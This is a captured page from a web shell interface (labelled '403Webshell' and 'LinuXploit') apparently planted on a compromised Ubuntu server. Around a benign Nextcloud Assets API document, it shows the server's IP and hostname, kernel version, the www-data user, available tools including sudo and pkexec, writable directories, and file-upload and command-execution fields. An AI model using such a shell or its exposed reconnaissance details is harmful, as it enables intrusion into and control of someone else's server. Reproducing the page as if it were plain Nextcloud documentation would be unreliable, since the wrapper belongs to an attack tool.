403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/nextcloud/apps/richdocuments/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/nextcloud/apps/richdocuments/docs/asset_api.md
# Assets API

This api is used to insert files directly from your Nextcloud to a Collabora
Online document.

## Creating the asset

```
<server>/apps/richdocuments/assets
```

A `POST` request to this endpoint with the `path` parameter will 
prepare the asset as `path` (relative to the authenticated user).

The return is json:

```json
{
  url: <assetUrl>
}
```

The `assetUrl` has to be send to the Collabora Online server using the
postMessage API.

## Fetching an asset

An asset can be fetched once from the url obtained when creating the asset.
The asset will be served with a proper `Content-Type`.
 

Youez - 2016 - github.com/yon3zu
LinuXploit